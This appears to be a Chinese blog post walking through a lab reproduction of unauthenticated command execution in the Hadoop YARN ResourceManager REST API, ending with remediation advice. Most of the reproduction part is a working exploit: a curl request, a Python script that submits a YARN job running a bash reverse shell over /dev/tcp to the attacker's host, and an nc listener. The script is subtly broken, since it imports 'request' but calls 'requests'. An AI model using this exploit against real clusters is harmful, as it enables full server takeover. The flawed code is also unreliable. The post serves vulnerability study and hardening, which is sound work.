Hadoop YARN ResourceManager 未授权访问

发布时间 2024-01-12 12:20:07作者: kalixcn

Hadoop YARN ResourceManager 未授权访问

原理

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。yarn提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器。

测试环境

cd hadoop/unauthorized-yarn
docker-compose up -d

环境启动后,访问http://10.10.10.10:8080即可看到Hadoop YARN ResourceManager WebUI页面。
img

影响范围

  1. Apache Hadoop YARN资源管理系统
  2. 对外开启以下作用的端口:
    yarn.resourcemanager.webapp.address,默认端口8088
    yarn.resourcemanager.webapp.https.address,默认端口8090

漏洞复现

  1. 访问页面,出现hadoop未授权访问页面
    img
  2. 构造POST请求,返回如下信息证明漏洞存在
curl -X POST http://10.10.10.10:8088/ws/v1/cluster/apps/new-application

img
3. 反弹shell
修改exp脚本目标url、本地IP、监听端口,然后开启本地监听9999端口(与脚本一样即可)准备反弹shell,执行exp脚本文件python3 poc.py,即可获取shell

import request

#python3 
target = 'http://10.10.10.10:8088/'   # put your remote host IP here
lhost = '10.10.10.128'    #put your local host IP here

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print(data)
request.post(url,json=data)
  1. nc连接反弹的shell
nc -vnlp 9999

img
也可以使用msf中的模块
img

修复建议

  1. 通过iptables或者安全组配置访问策略,限制对8088等端口的访问,不要将接口开放在公网,改为本地或者内网调用;
  2. Hadoop在2.X以上版本提供了安全认证功能,加入了 认证机制,建议启用Kerberos认证功能。